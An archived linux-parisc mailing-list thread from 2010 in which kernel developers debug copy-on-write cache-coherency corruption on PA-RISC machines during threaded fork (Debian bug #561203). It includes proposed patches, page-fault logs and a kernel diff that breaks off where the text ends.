Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2764
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2764>

John David Anglin wrote:
> It is interesting that in the case of the Debian bug that
> a thread of the parent process causes the COW break and thereby corrupts
> its own memory.  As far as I can tell, the fork'd child never writes
> to the memory that causes the fault.

Thanks for writing and testing a patch.

The case of #561203 is second scenario.  I think that this case is
relevant to VIVT-WB machine too (provided kernel does copy by kernel
address).

James Bottomley wrote:
> So this is going to be a hard sell because of the arch churn. There are,
> however, three ways to do it with the original signature.

Currently, I think that signature change would be inevitable for
ptep_set_wrprotect.

>      1. implement copy_user_highpage ... this allows us to copy through
>         the child's page cache (which is coherent with the parent's
>         before the cow) and thus pick up any cache changes without a
>         flush

Let me think about this way.

Well, this would improve both cases of the first scenario of mine and
the second scenario.

But... I think that even if we would have copy_user_highpage which
does copy by user address, we need to flush at ptep_set_wrprotect.  I
think that we need to keep the condition: no dirty cache for COW page.

Think about third scenario of threads and fork:

(1) In process A, there are multiple threads, and a thread A-1 invokes
    fork.  We have process B, with a different space identifier color.

(2) Another thread A-2 in process A runs while A-1 copies memory by
    dup_mmap.  A-2 writes to the address <x> in a page.  Let's call
    this page <oldpage>.

(3) We have dirty cache for <x> by A-2 at the time of
    ptep_set_wrprotect of thread A-1.  Suppose that we don't flush
    here.

(4) A-1 finishes copy, and sleeps.

(5) Child process B is waken up and sees old value at <x> in <oldpage>,
    through different cache line.  B sleeps.

(6) A-2 is waken up.  A-2 touches the memory again, breaks COW.  A-2
    copies data on <oldpage> to <newpage>.  OK, <newpage> is
    consistent with copy_user_highpage by user address.

    Note that during this copy, the cache line of <x> by A-2 is
    flushed out to <oldpage>.  It invokes another memory fault and COW
    break.  (I think that this memory fault is unhealthy.)
    Then, new value goes to <x> on <oldpage> (when it's physically
    tagged cache).

    A-2 sleeps.

(7) Child process B is waken up.  When it accesses at <x>, it sees new
    value suddenly.


If we flush cache to <oldpage> at ptep_set_wrprotect, this couldn't
occur.


			*	*	*


I know that we should not do "threads and fork".  It is difficult to
define clean semantics.  Because another thread may touch memory while
a thread which does memory copy for fork, the memory what the child
process will see may be inconsistent.  For the child, a page might be
new, while another page might be old.

For VIVT-WB cache machine, I am considering a possibility for the
child process to have inconsistent memory even within a single page
(when we have no flush at ptep_set_wrprotect).

It will be needed for me to talk to linux-arch soon or later.
-- 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Tue, 06 Apr 2010 08:37:49 -0500
Lines: 109
Approved: news@gmane.org
Message-ID: <1270561069.4493.29.camel@mulgrave.site>
References: <20100405025154.DE1D55160@hiauly1.hia.nrc.ca>
	 <1270484318.2790.38.camel@mulgrave.site>  <4BBABF23.1030405@fsij.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270561080 1115 80.91.229.12 (6 Apr 2010 13:38:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Apr 2010 13:38:00 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: NIIBE Yutaka <gniibe@fsij.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 06 15:37:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nz8yY-0002xR-2f
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Apr 2010 15:37:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755572Ab0DFNhw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Apr 2010 09:37:52 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50579 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753731Ab0DFNhw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Apr 2010 09:37:52 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 013268EE0FB;
	Tue,  6 Apr 2010 06:37:52 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 6Wobji8V0NTH; Tue,  6 Apr 2010 06:37:51 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5260D8EE0E7;
	Tue,  6 Apr 2010 06:37:51 -0700 (PDT)
In-Reply-To: <4BBABF23.1030405@fsij.org>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2765
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2765>

On Tue, 2010-04-06 at 13:57 +0900, NIIBE Yutaka wrote:
> John David Anglin wrote:
> > It is interesting that in the case of the Debian bug that
> > a thread of the parent process causes the COW break and thereby corrupts
> > its own memory.  As far as I can tell, the fork'd child never writes
> > to the memory that causes the fault.
> 
> Thanks for writing and testing a patch.
> 
> The case of #561203 is second scenario.  I think that this case is
> relevant to VIVT-WB machine too (provided kernel does copy by kernel
> address).
> 
> James Bottomley wrote:
> > So this is going to be a hard sell because of the arch churn. There are,
> > however, three ways to do it with the original signature.
> 
> Currently, I think that signature change would be inevitable for
> ptep_set_wrprotect.

Well we can't do it by claiming several architectures are wrong in their
implementation.  We might do it by claiming to need vma knowledge ...
however, even if you want the flush, as I said, you don't need to change
the signature.

> >      1. implement copy_user_highpage ... this allows us to copy through
> >         the child's page cache (which is coherent with the parent's
> >         before the cow) and thus pick up any cache changes without a
> >         flush
> 
> Let me think about this way.
> 
> Well, this would improve both cases of the first scenario of mine and
> the second scenario.
> 
> But... I think that even if we would have copy_user_highpage which
> does copy by user address, we need to flush at ptep_set_wrprotect.  I
> think that we need to keep the condition: no dirty cache for COW page.
> 
> Think about third scenario of threads and fork:
> 
> (1) In process A, there are multiple threads, and a thread A-1 invokes
>     fork.  We have process B, with a different space identifier color.

I don't understand what you mean by space colour ... there's cache
colour which refers to the line in the cache to which the the physical
memory maps.  The way PA is set up, space ID doesn't factor into cache
colour.

> (2) Another thread A-2 in process A runs while A-1 copies memory by
>     dup_mmap.  A-2 writes to the address <x> in a page.  Let's call
>     this page <oldpage>.
> 
> (3) We have dirty cache for <x> by A-2 at the time of
>     ptep_set_wrprotect of thread A-1.  Suppose that we don't flush
>     here.
> 
> (4) A-1 finishes copy, and sleeps.
> 
> (5) Child process B is waken up and sees old value at <x> in <oldpage>,
>     through different cache line.  B sleeps.

This isn't possible.  at this point, A and B have the same virtual
address and mapping for <oldpage> this means they are the same cache
colour, so they both see the cached value.

James

> (6) A-2 is waken up.  A-2 touches the memory again, breaks COW.  A-2
>     copies data on <oldpage> to <newpage>.  OK, <newpage> is
>     consistent with copy_user_highpage by user address.
> 
>     Note that during this copy, the cache line of <x> by A-2 is
>     flushed out to <oldpage>.  It invokes another memory fault and COW
>     break.  (I think that this memory fault is unhealthy.)
>     Then, new value goes to <x> on <oldpage> (when it's physically
>     tagged cache).
> 
>     A-2 sleeps.
> 
> (7) Child process B is waken up.  When it accesses at <x>, it sees new
>     value suddenly.
> 
> 
> If we flush cache to <oldpage> at ptep_set_wrprotect, this couldn't
> occur.
> 
> 
> 			*	*	*
> 
> 
> I know that we should not do "threads and fork".  It is difficult to
> define clean semantics.  Because another thread may touch memory while
> a thread which does memory copy for fork, the memory what the child
> process will see may be inconsistent.  For the child, a page might be
> new, while another page might be old.
> 
> For VIVT-WB cache machine, I am considering a possibility for the
> child process to have inconsistent memory even within a single page
> (when we have no flush at ptep_set_wrprotect).
> 
> It will be needed for me to talk to linux-arch soon or later.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Tue, 06 Apr 2010 08:44:41 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <1270561481.4493.40.camel@mulgrave.site>
References: <20100405025154.DE1D55160@hiauly1.hia.nrc.ca>
	 <1270484318.2790.38.camel@mulgrave.site>  <4BBABF23.1030405@fsij.org>
	 <1270561069.4493.29.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270561488 2752 80.91.229.12 (6 Apr 2010 13:44:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Apr 2010 13:44:48 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: NIIBE Yutaka <gniibe@fsij.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 06 15:44:46 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nz95B-0006gI-Ko
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Apr 2010 15:44:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756249Ab0DFNoo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Apr 2010 09:44:44 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58958 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755830Ab0DFNoo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Apr 2010 09:44:44 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C77B08EE0FB;
	Tue,  6 Apr 2010 06:44:43 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id aqHjTi3qAAfn; Tue,  6 Apr 2010 06:44:43 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 2F7DB8EE0E7;
	Tue,  6 Apr 2010 06:44:43 -0700 (PDT)
In-Reply-To: <1270561069.4493.29.camel@mulgrave.site>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2766
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2766>

On Tue, 2010-04-06 at 08:37 -0500, James Bottomley wrote:
> > (5) Child process B is waken up and sees old value at <x> in
> <oldpage>,
> >     through different cache line.  B sleeps.
> 
> This isn't possible.  at this point, A and B have the same virtual
> address and mapping for <oldpage> this means they are the same cache
> colour, so they both see the cached value.

Perhaps to add more detail to this.  In spite of what the arch manual
says (it says the congruence stride is 16MB), the congruence stride on
all manufactured parisc processors is 4MB.  This means that any virtual
addresses, regardless of space id, that are equal modulo 4MB have the
same cache colour.

James
 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Thu, 08 Apr 2010 23:11:41 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <4BBE468D.5060609@gmx.de>
References: <4BA43CE5.4020807@fsij.org> <87hbo4ek8l.fsf@thialfi.karme.de> <4BB18B46.2070203@fsij.org> <4BB53D26.60601@fsij.org> <4BB5594C.8050505@fsij.org> <1270179025.18981.19.camel@mulgrave.site> <4BB568FB.1090908@fsij.org> <4BB5A557.2000405@fsij.org> <20100402193514.GA9860@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270761112 22159 80.91.229.12 (8 Apr 2010 21:11:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 8 Apr 2010 21:11:52 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	NIIBE Yutaka <gniibe@fsij.org>, linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 08 23:11:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nzz0u-0007Wd-GE
	for glpp-linux-parisc@lo.gmane.org; Thu, 08 Apr 2010 23:11:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933556Ab0DHVLr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 8 Apr 2010 17:11:47 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:42838 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S933038Ab0DHVLq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 8 Apr 2010 17:11:46 -0400
Original-Received: (qmail invoked by alias); 08 Apr 2010 21:11:44 -0000
Original-Received: from p54AD177C.dip0.t-ipconnect.de (EHLO halden.box) [84.173.23.124]
  by mail.gmx.net (mp058) with SMTP; 08 Apr 2010 23:11:44 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+t5ElOr8utZPtCUYGXDCkIS6ce/trF8Q5rS8yD9r
	B0y51h3rG98bbY
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <20100402193514.GA9860@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.51000000000000001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2768
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2768>

On 04/02/2010 09:35 PM, John David Anglin wrote:
> On Fri, 02 Apr 2010, NIIBE Yutaka wrote:
> 
>> NIIBE Yutaka wrote:
>>> To have same semantics as other archs, I think that VIPT-WB cache
>>> machine should have cache flush at ptep_set_wrprotect, so that memory
>>> of the page has up-to-date data.  Yes, it will be huge performance
>>> impact for fork.  But I don't find any good solution other than this
>>> yet.
>>
>> I think we could do something like (only for VIPT-WB cache machine):
>>
>> -	static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long 
>> address, pte_t *ptep)
>>
>> +	static inline void ptep_set_wrprotect(struct vm_area_struct *vma, struct 
>> mm_struct *mm, unsigned long addr, pte_t *ptep)
>> 	{
>> 		pte_t old_pte = *ptep;
>> +		if (atomic_read(&mm->mm_users) > 1)
>> +			flush_cache_page(vma, addr, pte_pfn(old_pte));
>> 		set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
>> 	}
> 
> I tested the hack below on two machines currently running 2.6.33.2
> UP kernels.  The change seems to fix Debian #561203 (minifail bug)!
> Thus, I definitely think you are on the right track.  I'll continue
> to test.
> 
> I suspect the same issue is present for SMP kernels.

Hi Dave,

I tested your patch today on one of my machines with plain kernel 2.6.33 (32bit, SMP, B2000 I think).
Sadly I still did see the minifail bug.

Are you sure, that the patch fixed this bug for you?

Helge

do_page_fault() pid=21470 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=7986 command='minifail3' type=6 address=0x00000003                                                                                 
do_page_fault() pid=19952 command='minifail3' type=6 address=0x00000003                                                                                
do_page_fault() pid=13549 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=21862 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=4615 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=17336 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=21986 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=2157 command='minifail3' type=15 address=0x000000dc
do_page_fault() pid=23886 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=2681 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=3229 command='minifail3' type=15 address=0x000000ec
do_page_fault() pid=26095 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=20722 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=19912 command='minifail3' type=15 address=0x000000ec
...
pagealloc: memory corruption
7db0c780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
7db0c790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
7db0c7a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
7db0c7b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
Backtrace:
 [<1011ec14>] show_stack+0x18/0x28
 [<10117ba0>] dump_stack+0x1c/0x2c
 [<101c6594>] kernel_map_pages+0x2a0/0x2b8
 [<1019e6c8>] get_page_from_freelist+0x3d4/0x614
 [<1019ea3c>] __alloc_pages_nodemask+0x134/0x610
 [<101b1d20>] do_wp_page+0x268/0xac0
 [<101b3b34>] handle_mm_fault+0x4d4/0x7c4
 [<1011d854>] do_page_fault+0x1f8/0x2fc
 [<1011f450>] handle_interruption+0xec/0x730
 [<10103078>] intr_check_sig+0x0/0x34
...
do_page_fault() pid=13414 command='minifail3' type=15 address=0x000000dc
do_page_fault() pid=22776 command='minifail3' type=15 address=0x00000000
do_page_fault() pid=26290 command='minifail3' type=15 address=0x000000ec
do_page_fault() pid=1399 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=16130 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=26401 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=3383 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=3400 command='minifail3' type=15 address=0x00000004
do_page_fault() pid=18659 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=3730 command='minifail3' type=6 address=0x00000003
do_page_fault() pid=28828 command='minifail3' type=6 address=0x00000003
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Thu, 8 Apr 2010 17:54:54 -0400
Organization: nrc.ca
Lines: 672
Approved: news@gmane.org
Message-ID: <20100408215453.GA18445@hiauly1.hia.nrc.ca>
References: <4BA43CE5.4020807@fsij.org> <87hbo4ek8l.fsf@thialfi.karme.de> <4BB18B46.2070203@fsij.org> <4BB53D26.60601@fsij.org> <4BB5594C.8050505@fsij.org> <1270179025.18981.19.camel@mulgrave.site> <4BB568FB.1090908@fsij.org> <4BB5A557.2000405@fsij.org> <20100402193514.GA9860@hiauly1.hia.nrc.ca> <4BBE468D.5060609@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1270763706 31135 80.91.229.12 (8 Apr 2010 21:55:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 8 Apr 2010 21:55:06 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	NIIBE Yutaka <gniibe@fsij.org>, linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 08 23:55:03 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nzzgj-0005Bb-Li
	for glpp-linux-parisc@lo.gmane.org; Thu, 08 Apr 2010 23:55:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933707Ab0DHVy7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 8 Apr 2010 17:54:59 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3089 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933631Ab0DHVy6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 8 Apr 2010 17:54:58 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 478405160; Thu,  8 Apr 2010 17:54:54 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4BBE468D.5060609@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2769
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2769>

On Thu, 08 Apr 2010, Helge Deller wrote:

> On 04/02/2010 09:35 PM, John David Anglin wrote:
> > On Fri, 02 Apr 2010, NIIBE Yutaka wrote:
> > 
> >> NIIBE Yutaka wrote:
> >>> To have same semantics as other archs, I think that VIPT-WB cache
> >>> machine should have cache flush at ptep_set_wrprotect, so that memory
> >>> of the page has up-to-date data.  Yes, it will be huge performance
> >>> impact for fork.  But I don't find any good solution other than this
> >>> yet.
> >>
> >> I think we could do something like (only for VIPT-WB cache machine):
> >>
> >> -	static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long 
> >> address, pte_t *ptep)
> >>
> >> +	static inline void ptep_set_wrprotect(struct vm_area_struct *vma, struct 
> >> mm_struct *mm, unsigned long addr, pte_t *ptep)
> >> 	{
> >> 		pte_t old_pte = *ptep;
> >> +		if (atomic_read(&mm->mm_users) > 1)
> >> +			flush_cache_page(vma, addr, pte_pfn(old_pte));
> >> 		set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
> >> 	}
> > 
> > I tested the hack below on two machines currently running 2.6.33.2
> > UP kernels.  The change seems to fix Debian #561203 (minifail bug)!
> > Thus, I definitely think you are on the right track.  I'll continue
> > to test.
> > 
> > I suspect the same issue is present for SMP kernels.
> 
> Hi Dave,
> 
> I tested your patch today on one of my machines with plain kernel 2.6.33 (32bit, SMP, B2000 I think).
> Sadly I still did see the minifail bug.
> 
> Are you sure, that the patch fixed this bug for you?

Seemed to, but I have a bunch of other changes installed.  Possibly,
the change to cacheflush.h is important.  It affects all PA8000.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 716634d..d7fabc4 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -24,29 +24,46 @@
  * Hash function to index into a different SPINLOCK.
  * Since "a" is usually an address, use one spinlock per cacheline.
  */
-#  define ATOMIC_HASH_SIZE 4
-#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_HASH_SIZE (4096/L1_CACHE_BYTES)  /* 4 */
+#  define ATOMIC_HASH(a)      (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_USER_HASH(a) (&(__atomic_user_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
 
 extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
+extern arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned;
 
 /* Can't use raw_spin_lock_irq because of #include problems, so
  * this is the substitute */
-#define _atomic_spin_lock_irqsave(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);		\
+#define _atomic_spin_lock_irqsave_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;		\
 	local_irq_save(f);			\
 	arch_spin_lock(s);			\
 } while(0)
 
-#define _atomic_spin_unlock_irqrestore(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);			\
+#define _atomic_spin_unlock_irqrestore_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;			\
 	arch_spin_unlock(s);				\
 	local_irq_restore(f);				\
 } while(0)
 
+/* kernel memory locks */
+#define _atomic_spin_lock_irqsave(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_HASH(l))
+
+/* userspace memory locks */
+#define _atomic_spin_lock_irqsave_user(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_USER_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore_user(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_USER_HASH(l))
 
 #else
 #  define _atomic_spin_lock_irqsave(l,f) do { local_irq_save(f); } while (0)
 #  define _atomic_spin_unlock_irqrestore(l,f) do { local_irq_restore(f); } while (0)
+#  define _atomic_spin_lock_irqsave_user(l,f) _atomic_spin_lock_irqsave(l,f)
+#  define _atomic_spin_unlock_irqrestore_user(l,f) _atomic_spin_lock_irqsave_user(l,f)
 #endif
 
 /* This should get optimized out since it's never called.
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7a73b61..ab87176 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -2,6 +2,7 @@
 #define _PARISC_CACHEFLUSH_H
 
 #include <linux/mm.h>
